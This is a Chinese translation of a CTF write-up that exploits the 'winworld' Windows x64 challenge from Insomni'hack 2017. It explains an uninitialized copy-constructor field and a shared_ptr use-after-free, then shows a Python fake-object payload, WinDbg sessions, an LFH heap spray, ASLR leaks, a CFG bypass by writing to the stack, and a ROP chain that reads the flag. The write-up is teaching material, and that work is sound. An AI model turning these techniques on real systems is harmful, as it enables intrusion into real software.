在本文中,我描述了我的“winworld”挑戰(zhàn)的一個(gè)詳細(xì)的解決方案,這個(gè)挑戰(zhàn)來(lái)自Insomni’hack CTF Teaser 2017。Winworld是一個(gè)使用C++11編寫(xiě)的x64的Windows二進(jìn)制文件,并且包含了大部分Windows 10內(nèi)置的保護(hù)措施,特別是AppContainer(AppJailLauncher)、執(zhí)行流保護(hù)和最新的緩解策略。
這些能使用Process Hacker快速的驗(yàn)證(也要注意保留的2TB的CFGBitmap):
http://p1.qhimg.com/t019e73e55e5ebd41cc.png
這個(gè)任務(wù)運(yùn)行在Windows Server 2016上面,挑戰(zhàn)的行為與Windows 10一致,甚至使用了相同的庫(kù)。這個(gè)挑戰(zhàn)和描述能在這里找到。
0x01 二進(jìn)制的邏輯
我們的今年的主題是“機(jī)器的風(fēng)險(xiǎn)”;winworld是最新的Westworls TV秀,并實(shí)現(xiàn)了一個(gè)“narrator”接口,你能狗創(chuàng)建機(jī)器人和人類,配置他們的行為,并且在地圖上面移動(dòng)他們。
這個(gè)narrator操作Person對(duì)象,這個(gè)對(duì)象是“hosts”(robots)和“guests”(humans)的共享類。每個(gè)類型存儲(chǔ)在獨(dú)立的列表中。
每個(gè)Person對(duì)象有下面的屬性:
http://p9.qhimg.com/t01e2011c0a7c3f670e.png
這個(gè)narrator暴露了下面的命令:
–[ Welcome to Winworld, park no 1209 ]–
narrator [day 1]$ help
Available commands:
– new <type> <sex> <name>
– clone <id> <new_name>
– list <hosts|guests>
– info <id>
– update <id> <attribute> <value>
– friend <add|remove> <id 1> <id 2>
– sentence <add|remove> <id> <sentence>
– map
– move <id> {<l|r|u|d>+}
– random_move
– next_day
– help
– prompt <show|hide>
– quit
narrator [day 1]$
在調(diào)用move或者random_move時(shí)行為發(fā)生,2個(gè)人相遇了。這個(gè)onEncounter方法指針被調(diào)用,他們能交互。只有攻擊實(shí)際對(duì)其他Person對(duì)象有影響:如果攻擊成功了,其他對(duì)象可能損壞或者死亡。Robots會(huì)永久死亡但是不能殺死humans。Humans只能活一次并且能殺死其他humans。next_day功能能復(fù)活robots的生命和恢復(fù)每個(gè)人的健康,但是如果對(duì)象是一個(gè)死人,將會(huì)被移除出列表。
People使用馬爾可夫鏈的自動(dòng)的方式交流,這種方式使用Westworld腳本初始化和添加句子,這個(gè)可能會(huì)發(fā)生有趣的對(duì)話。許多句子不能一直有效,因?yàn)橛新┒创嬖?,我在描述中指定了它,以?jié)省一些逆向的時(shí)間(已經(jīng)有大量的C ++逆向了)。
0x02 弱點(diǎn)1:在Person中復(fù)制構(gòu)造函數(shù)未初始化屬性
在narrator初始化期間,map隨機(jī)生成并且一個(gè)特定的點(diǎn)被選作“maze center”,當(dāng)某些特定條件達(dá)到時(shí),機(jī)器人將轉(zhuǎn)變?yōu)槿祟?。這個(gè)條件是當(dāng)前移動(dòng)的Person必須是HOST,設(shè)置了is_conscious,并且必須有一個(gè)人類(GUEST)在maze center。
第一件事是找到這個(gè)點(diǎn)。所有的隨機(jī)數(shù)據(jù)能使用rand()獲得,并且這個(gè)種子使用經(jīng)典的srand(time(NULL))來(lái)初始化。因此這個(gè)種子能通過(guò)幾次嘗試來(lái)確定。一旦同步了服務(wù)器的時(shí)鐘,在利用中簡(jiǎn)單的重放初始化算法能允許找到用來(lái)生成maze center的rand()的值。編寫(xiě)一個(gè)簡(jiǎn)單的路徑查找算法來(lái)使每個(gè)人都到這個(gè)位置。
機(jī)器人通過(guò)Person::Person構(gòu)造函數(shù)中的is_conscious=false來(lái)初始化。然而這個(gè)Person::Person的拷貝構(gòu)造函數(shù)被narrator的clone函數(shù)使用了,但是忘記了初始化。這個(gè)值將是未初始化的,并可以使用堆上面已有的內(nèi)容。結(jié)果是克隆一個(gè)機(jī)器人足以使的is_conscious!=0,但是我們需要確保它是。
有時(shí)新克隆的機(jī)器人將在LFH中,有時(shí)不是。最好是通過(guò)克隆0x10減去當(dāng)前的Person對(duì)象數(shù)(6)來(lái)確??偸窃贚FH中。讓我們克隆6+1次并在windbg中檢驗(yàn):
0:004> ? winworld!Person::Person
Matched: 00007ff7`9b9ee700 winworld!Person::Person (<no parameter info>)
Matched: 00007ff7`9b9ee880 winworld!Person::Person (<no parameter info>)
Ambiguous symbol error at ‘winworld!Person::Person’
0:004> bp 00007ff7`9b9ee880 “r rcx ; g” ; bp winworld!Person::printInfos ; g
rcx=0000024a826a3850
rcx=0000024a826800c0rcx=0000024a82674130
rcx=0000024a82674310
rcx=0000024a82673a50
rcx=0000024a82673910
rcx=0000024a82673d70Breakpoint 1 hit
winworld!Person::printInfos:
00007ff7`9b9f0890 4c8bdc mov r11,rsp
0:000> r rcx
rcx=0000024a82673d700:000> !heap -x 0000024a826800c0Entry User Heap Segment Size PrevSize Unused Flags
————————————————————————————————————-
0000024a826800b0 0000024a826800c0 0000024a82610000 0000024a82610000 a0 120 10 busy
0:000> !heap -x 0000024a82673d70Entry User Heap Segment Size PrevSize Unused Flags
————————————————————————————————————-
0000024a82673d60 0000024a82673d70 0000024a82610000 0000024a828dec10 a0 – 10 LFH;busy
在這里我們能看到頭2個(gè)不在LFH中,其他的都在。
LFH分配是隨機(jī)的,增加了一些挑戰(zhàn)。然而這些分配使用大小為0x100的數(shù)組隨機(jī)化,其位置以模數(shù)0x100遞增,這意味著如果我們噴射正確大小的0x100個(gè)元素,我們將回到相同的位置,從而獲得確定性行為。我們甚至不需要保證內(nèi)存塊,因此我們能簡(jiǎn)單的使用0x90大小(和Person一樣)的命令字符串來(lái)噴射,它總是為clone操作初始化is_conscious屬性。
現(xiàn)在我們的機(jī)器人變成了人類,并且麻煩再次開(kāi)始!
注意:似乎Visual Studio 2015默認(rèn)開(kāi)啟了/sdl編譯標(biāo)記,這將添加memset函數(shù)來(lái)將分配的Person對(duì)象填充為0,因此變得不可利用。我禁用了它,但為了公平起見(jiàn),我開(kāi)啟了不是默認(rèn)的CFG!
0x03 弱點(diǎn)2:誤用了std::shared_ptr
共享指針是一個(gè)對(duì)象指針的簡(jiǎn)單封裝。它特別添加了引用計(jì)數(shù),在shared_ptr關(guān)聯(lián)了新的變量時(shí)會(huì)增加計(jì)數(shù),當(dāng)釋放了變量會(huì)減少計(jì)數(shù)。當(dāng)引用計(jì)數(shù)變?yōu)?時(shí),引用對(duì)象將不會(huì)存在,因此它自動(dòng)釋放它。針對(duì)UAF漏洞這個(gè)特別有效。
http://p0.qhimg.com/t0125b3364e5cb12851.png
在這個(gè)挑戰(zhàn)中,當(dāng)機(jī)器人變成人類,它還保留在robtots列表中(但是它的is_enable字段變?yōu)閒alse,因此不能再作為機(jī)器人了),并且被插入到humans列表中:
http://p0.qhimg.com/t013f14e148da83baa1.png
這是非常錯(cuò)誤的,因?yàn)椴皇窃黾訉?duì)象的shared_str的引用計(jì)數(shù),我們創(chuàng)建了一個(gè)新的shared_str只想一個(gè)相同的對(duì)象:
http://p1.qhimg.com/t0107d9917696ce93fe.png
當(dāng)任意兩個(gè)shared_ptr的引用計(jì)數(shù)降為0,這個(gè)對(duì)象被釋放,并且因?yàn)槠渌鹲hared_ptr還存活著,我們還是可以利用UAF漏洞!為了做到這個(gè),我們能殺掉human-robot來(lái)使用另一個(gè)人類。我們也不得不移除他所有的朋友,否則引用計(jì)數(shù)不會(huì)為0。然后當(dāng)它從guests向量中移除了指針時(shí),使用next_day方法釋放它:
http://p1.qhimg.com/t01624debeea32f0f68.png
現(xiàn)在得到RIP是簡(jiǎn)單的,因?yàn)閷?duì)象擁有一個(gè)方法指針:使用一個(gè)假對(duì)象來(lái)噴射長(zhǎng)度0x90的0x100個(gè)字符串,這個(gè)對(duì)象是std::string能包含空字節(jié),然后將死掉的human-robot右移,他將再次遇到他的殺手,并觸發(fā)覆蓋onEncounter的方法指針:
def craft_person(func_ptr, leak_addr, size):
payload = struct.pack(“<Q”, func_ptr) # func pointer
payload += “\x00″ * 24 # friends std::vector
payload += “\x00″ * 24 # sentences std::vector
# std::string name
payload += struct.pack(“<Q”, leak_addr)
payload += “JUNKJUNK”
payload += struct.pack(“<Q”, size) # size
payload += struct.pack(“<Q”, size) # max_size
payload += struct.pack(“<I”, 1) # type = GUEST
payload += struct.pack(“<I”, 1) # sex
payload += “\x01″ # is_alive
payload += “\x01″ # is_conscious
payload += “\x01″ # is_enabled
[…]
payload = craft_person(func_ptr=0x4242424242424242, leak_addr=0, size=0)for i in range(0x100):
sendline(s, payload)
sendline(s, “move h7 lr”)
結(jié)果:
0:004> g
(1a00.c68): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
ntdll!LdrpValidateUserCallTarget+0xe:
00007ffa`89b164ae 488b14c2 mov rdx,qword ptr [rdx+rax*8] ds:010986ff`08d30908=????????????????
0:000> ? rax << 9
Evaluate expression: 4774451407313060352 = 42424242`42424200
CFG將使問(wèn)題變得復(fù)雜一點(diǎn),但是在那之前我們需要來(lái)泄漏地址對(duì)抗ASLR。
0x04 泄漏二進(jìn)制基地址
在前一個(gè)代碼樣本中我們制作了一個(gè)大小為0的std:string來(lái)阻止打印名字時(shí)崩潰。用有效值來(lái)替換指針和大小將在該地址打印大小字節(jié),因此我們使用任意原始讀寫(xiě)。現(xiàn)在我們打印了什么?除了_KUSER_SHARED_DATA的地址0x7ffe0000,其他都有ASLR,但是在Windows 10中它不能容納任何指針。
代替使用字符串來(lái)利用UAF,我們必須使用相同LFH大?。?xa0)的另一個(gè)對(duì)象來(lái)替換Person對(duì)象。我們沒(méi)有其他的,但是我們能增加vector的大小來(lái)代替。
使用std::vector<std::shared_ptr<Person>> friends來(lái)循環(huán)測(cè)試,我們使用7-9 friends能得到一些東西:
0:004> g
Breakpoint 0 hit
winworld!Person::printInfos:
00007ff7`9b9f0890 4c8bdc mov r11,rsp
0:000> dq rcx
000001cf`94daea60 00007ff7`9b9ef700 000001cf`94d949b0000001cf`94daea70 000001cf`94d94a20 000001cf`94d94a40
000001cf`94daea80 000001cf`94dac6c0 000001cf`94dac760
000001cf`94daea90 000001cf`94dac780 00736572`6f6c6f44
000001cf`94daeaa0 61742074`73657567 00000000`00000007
000001cf`94daeab0 00000000`0000000f 00000002`00000000
000001cf`94daeac0 00000000`20010001 00000000`00000000
000001cf`94daead0 0000003d`00000020 0000000a`00000004
0:000> !heap -x 000001cf`94d949b0Entry User Heap Segment Size PrevSize Unused Flags
————————————————————————————————————-
000001cf94d949a0 000001cf94d949b0 000001cf94d30000 000001cf94dafb50 a0 – 10 LFH;busy
0:000> dq 000001cf`94d949b0000001cf`94d949b0 000001cf`94dfb410 000001cf`94d90ce0
000001cf`94d949c0 000001cf`94dac580 000001cf`94d90800
000001cf`94d949d0 000001cf`94d98f90 000001cf`94d911c0
000001cf`94d949e0 000001cf`94d99030 000001cf`94d912e0 # string pointer000001cf`94d949f0 000001cf`94db4cf0 000001cf`94d91180 # string size000001cf`94d94a00 000001cf`94db7e60 000001cf`94d912a0
000001cf`94d94a10 000001cf`94e97c70 000001cf`94d91300
000001cf`94d94a20 7320756f`590a2e73 73696874`20776f68
0:000> dps poi(000001cf`94d949b0+8+0n24*2) L3000001cf`94d912e0 00007ff7`9b9f7158 winworld!std::_Ref_count<Person>::`vftable’000001cf`94d912e8 00000001`00000005
000001cf`94d912f0 000001cf`94d99030
這個(gè)vector現(xiàn)在屬于和Person對(duì)象相同的LFH。如果我們噴射0xf0字符串接著0x10 7-friends vectors,我們能夠泄漏指針:在winworld中的一個(gè)虛表地址和堆。我們應(yīng)該能用0xff字符串來(lái)做到這個(gè),然后是一個(gè)friends vectors,但是有一些分配有時(shí)會(huì)發(fā)生,我還沒(méi)調(diào)試出什么引起的。
盡管我們不能控制大小,它是巨大的,因此二進(jìn)制不可避免的將崩潰!好消息是Windows上的堆和棧的隨機(jī)只在每次啟動(dòng)時(shí)發(fā)生一次。每個(gè)進(jìn)程都隨機(jī)好了。這是不好的,但是因?yàn)槎M(jìn)制文件自動(dòng)重啟不是個(gè)問(wèn)題,因此我們已經(jīng)泄露了模塊基地址,并且我們能夠在子過(guò)程中復(fù)用它。
注意:當(dāng)你開(kāi)發(fā)一個(gè)Windows利用時(shí),不要把二進(jìn)制文件放在linux主機(jī)共享中,這會(huì)導(dǎo)致每次執(zhí)行都隨機(jī)化!
0x05 繞過(guò)CFG
CFG是微軟的控制流完整性方案,它基于任何非直接調(diào)用必須指向函數(shù)開(kāi)頭的簡(jiǎn)單思想。在非直接調(diào)用之前會(huì)有__guard_check_icall_fptr插入:
http://p6.qhimg.com/t0144e90b1f20336b70.png
在Windows 10中這將調(diào)用ntdll!LdrpValidateUserCallTarget來(lái)檢驗(yàn)指針是否是一個(gè)可靠的函數(shù)開(kāi)頭,如果不是則終止。
CFG的優(yōu)勢(shì)是能強(qiáng)制中斷一個(gè)合法的程序(因此沒(méi)有原因不使用它)。然而CFG有3個(gè)常見(jiàn)的缺陷:
1. 與驗(yàn)證函數(shù)參數(shù)和返回值的類型的CFI機(jī)制相比, 被允許的目標(biāo)的集合還是太大。
2. 它不能保護(hù)棧,因?yàn)榉祷氐刂凡皇呛瘮?shù)開(kāi)頭。微軟將使用RFG來(lái)修復(fù)這個(gè)并且將來(lái)Intel處理器也支持,但是還是不夠強(qiáng)。
3. 如果加載了一個(gè)沒(méi)有使用CFG編譯的模塊,該模塊的所有的地址都是被允許的。JIT可能有問(wèn)題。(這里的二進(jìn)制和所有模塊都支持CFG和沒(méi)有JIT)
當(dāng)我寫(xiě)這個(gè)文章的時(shí)候,一篇繞過(guò)CFG的博文就已經(jīng)發(fā)布了,即利用kernel32!RtlCaptureContext(缺陷1)。j00ru是唯一一個(gè)解決這個(gè)任務(wù)的人,使用它來(lái)泄漏棧,但是我沒(méi)有使用這個(gè),而是選擇了手動(dòng)泄漏/寫(xiě)棧(缺陷2)。
我們已經(jīng)使用了std::string name屬性來(lái)實(shí)現(xiàn)任意讀取,現(xiàn)在我們也能夠使用它來(lái)實(shí)現(xiàn)任意寫(xiě)!唯一需要的是將字符串替換為不比當(dāng)前std::string對(duì)象最大大小更多的字節(jié)。這非??幔欢壳盀橹刮覀冞€不知道棧(或者堆)在哪里,并且每次運(yùn)行程序的庫(kù)都會(huì)隨機(jī)。我們后面會(huì)回到這。首先我們也想泄漏其他庫(kù)的地址。
0x06 泄漏其他庫(kù)
使用二進(jìn)制基址和0x100個(gè)persons字符串的噴射,我們足夠泄漏任意的內(nèi)存地址。 我們能保留vectors為空字符串,來(lái)阻止調(diào)用Person::printInfos時(shí)崩潰。
現(xiàn)在我們已經(jīng)有了二進(jìn)制的基址,并且知道下次啟動(dòng)才會(huì)改變,泄漏其他庫(kù)是個(gè)嘗試:我們能轉(zhuǎn)儲(chǔ)IAT的入口。我的利用充分利用了ucrtbase.dll和ntdll.dll(在CFG中總是存在IAT),能通過(guò)構(gòu)造一個(gè)std::string指向下面地址來(lái)完成泄漏:
0:000> dps winworld+162e8 L1
00007ff7`9b9f62e8 00007ffa`86d42360 ucrtbase!strtol
0:000> dps winworld+164c0 L2
00007ff7`9b9f64c0 00007ffa`89b164a0 ntdll!LdrpValidateUserCallTarget
00007ff7`9b9f64c8 00007ffa`89b164f0 ntdll!LdrpDispatchUserCallTarget
重復(fù)泄漏,我們能用gets()的地址來(lái)覆蓋onEncounter的方法指針,一旦我們定位了ucrtbase.dll的基址。這當(dāng)然是因?yàn)檫@個(gè)任務(wù)特殊的上下文,其標(biāo)準(zhǔn)輸入輸出流重定向到了客戶端套接字上。這將觸發(fā)gets(this_object)堆溢出,我們能使用來(lái)覆蓋名字字符串的屬性。
0x07 泄漏棧
在哪找棧指針?我們能從ntdll找到PEB的指針,然而在x64中PEB結(jié)構(gòu)不包含指向TEB的指針。
一個(gè)最近的j00ru的博文描述了一個(gè)有趣的事實(shí):盡管沒(méi)有好的原因在堆上面存儲(chǔ)棧指針,但是在進(jìn)程初始化期間可能會(huì)有一些剩余的堆棧數(shù)據(jù)被無(wú)意復(fù)制到堆中。
他的博文在x86上描述了它,讓我們?cè)趚64上面的堆中找下隱藏的棧指針:
0:001> !address
[…]
BaseAddress EndAddress+1 RegionSize Type State Protect Usage
————————————————————————————————————————–
[…] 3b`b6cfb000 3b`b6d00000 0`00005000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Stack [~0; 2524.1738]
[…]
0:001> !heap
Heap Address NT/Segment Heap 17c262d0000 NT Heap
17c26120000 NT Heap
0:001> !address 17c262d0000 Usage: Heap
Base Address: 0000017c`262d0000End Address: 0000017c`26332000[…]
0:001> .for (r $t0 = 17c`262d0000; @$t0 < 17c`26332000; r $t0 = @$t0 + 8) { .if (poi(@$t0) > 3b`b6cfb000 & poi(@$t0) < 3b`b6d00000) { dps $t0 L1 } }
0000017c`262d2d90 0000003b`b6cff174
0000017c`262deb20 0000003b`b6cffbd8
0000017c`262deb30 0000003b`b6cffbc8
0000017c`262deb80 0000003b`b6cffc30
0000017c`2632cf80 0000003b`b6cff5e0
0000017c`2632cfc0 0000003b`b6cff5e0
0000017c`2632d000 0000003b`b6cff5e0
0000017c`2632d1a0 0000003b`b6cff5e0
0000017c`2632d2c0 0000003b`b6cff5e0
0000017c`2632d4e0 0000003b`b6cff5e0
0000017c`2632d600 0000003b`b6cff5e0
0000017c`2632d660 0000003b`b6cff5e0
0000017c`2632d6e0 0000003b`b6cff5e0
0000017c`2632d700 0000003b`b6cff5e0
0:000> dps winworld+1fbd0 L3
00007ff7`9b9ffbd0 0000017c`2632ca8000007ff7`9b9ffbd8 0000017c`262da050
00007ff7`9b9ffbe0 0000017c`2632cf20
好的!我們確實(shí)在默認(rèn)堆上面找到了棧指針,并且我們能從winworld基址來(lái)泄漏堆中靜態(tài)偏移的地址。
現(xiàn)在我們能瀏覽堆頁(yè),并且試圖找到這些棧地址。在我的利用中為了簡(jiǎn)單,我使用了一個(gè)簡(jiǎn)單啟發(fā)的方式來(lái)找到QWORDS在堆下面,但也高于100000000,交互式詢問(wèn)哪個(gè)可以作為棧泄漏。這明顯可以改進(jìn)。
0x08 緩解措施和ROP
現(xiàn)在我們已經(jīng)有任意寫(xiě)了并且能覆蓋棧上面的RIP地址,剩下的就是構(gòu)建ROP了。幾個(gè)想法如下:
VirtualProtect,然后shellcode
加載SMB上面的庫(kù)
執(zhí)行一個(gè)shell命令(WinExec等)
完整的ROP來(lái)讀取標(biāo)記
正如早前提到的,二進(jìn)制有一些最新的緩解措施,在我們的上下文中是相關(guān)聯(lián)的:
ProcessDynamicCodePolicy:阻止插入新的可執(zhí)行內(nèi)存,VirtualProtect將失敗
ProcessSignaturePolicy:庫(kù)必須被簽名,組織了LoadLibrary
ProcessImageLoadPolicy:庫(kù)不能從遠(yuǎn)程位置加載,組織了加載SMB上的庫(kù)
最后兩個(gè)選項(xiàng)依然可以用。我也想在父進(jìn)程AppJailLauncher進(jìn)程中添加一個(gè)使用PROC_THREAD_ATTRIBUTE_CHILD_PROCESS_POLICY的UpdateProcThreadAttribute的調(diào)用,將阻止winworld創(chuàng)建新進(jìn)程,但是因?yàn)槭且粋€(gè)控制臺(tái)程序,winworld也會(huì)帶起一個(gè)conhost.exe進(jìn)程。使用這個(gè)緩解措施能阻止conhost.exe的創(chuàng)建,并且因此程序不能運(yùn)行。
我的解決方案在ROP中直接讀取。因?yàn)槲也幌胂萑隒reateFile和Windows句柄的麻煩中,我代替使用了ucrtbase.dll中的_sopen_s/_read/puts/_flushall函數(shù)。
在ntdll中查找小配件,我們能找到x64調(diào)用規(guī)則的pop前四個(gè)寄存器的完美的小配件。小配件在CFG中是它自己,這非常驚喜,可以進(jìn)入rop鏈了。
0:000> u ntdll+96470 L5
ntdll!LdrpHandleInvalidUserCallTarget+0x70:
00007ffa`89b16470 5a pop rdx
00007ffa`89b16471 59 pop rcx
00007ffa`89b16472 4158 pop r8
00007ffa`89b16474 4159 pop r9
00007ffa`89b16476 c3 ret
最終整合到一起:
Z:\awe\insomnihack\2017\winworld>python sploit.py getflag remote
[+] Discovering the PRNG seed…
Clock not synced with server…
[+] Resynced clock, delay of -21 seconds
[+] Found the maze center: (38, 41)
[+] Check the map for people positions
[+] Make sure that LFH is enabled for bucket of sizeof(Person)
6 / 6 …
[+] Spray 0x100 std::string to force future initialization of pwnrobot->is_conscious
256 / 256 …
[+] Cloning host, with uninitialized memory this one should have is_conscious…
[+] Removing current friends of pwnrobot…
[+] Moving a guest to the maze center (37, 86) -> (38, 41)…
[+] Moving our host to the maze center (38, 29) -> (38, 41)…
[+] pwnrobot should now be a human… kill him!
[+] Removing all pwnrobot’s friends…
7 / 7 …
[+] Decrement the refcount of pwnrobot’s human share_ptr to 0 -> free it
[+] Spray 0x100 std::string to trigger UAF
256 / 256 …
[+] heap leak: 0x18a6eae8b40
[+] Leaking stack ptr…
[+] Dumping heap @ 0x18a6eae6b40…
[+] Dumping heap @ 0x18a6eae7b40…
[HEAP] 0x18a6eae7b40
[00] – 0x18a6ea96c72
[01] – 0x18a6ea9c550
[02] – 0x18a6ea9e6e0
Use which qword as stack leak?
[+] Dumping heap @ 0x18a6eae8b40…
[HEAP] 0x18a6eae8b40
[00] – 0x3ab7faf120
[01] – 0x3ab7faf4f0
[02] – 0x18a6ea9c550
[03] – 0x18a6eae84c0
[04] – 0x18a6eae8560
[05] – 0x18a6eae8760
Use which qword as stack leak? 1
[+] stack @ 0x3ab7faf4f0
[+] Leaking stack content…
[-] Haven’t found saved RIP on the stack. Increment stack pointer…
[-] Haven’t found saved RIP on the stack. Increment stack pointer…
[-] Haven’t found saved RIP on the stack. Increment stack pointer…
RIP at offset 0x8
[+] Overwrite stack with ROPchain…
[+] Trigger ROP chain…
Better not forget to initialize a robot’s memory!Flag: INS{I pwn, therefore I am!}[+] Exploit completed.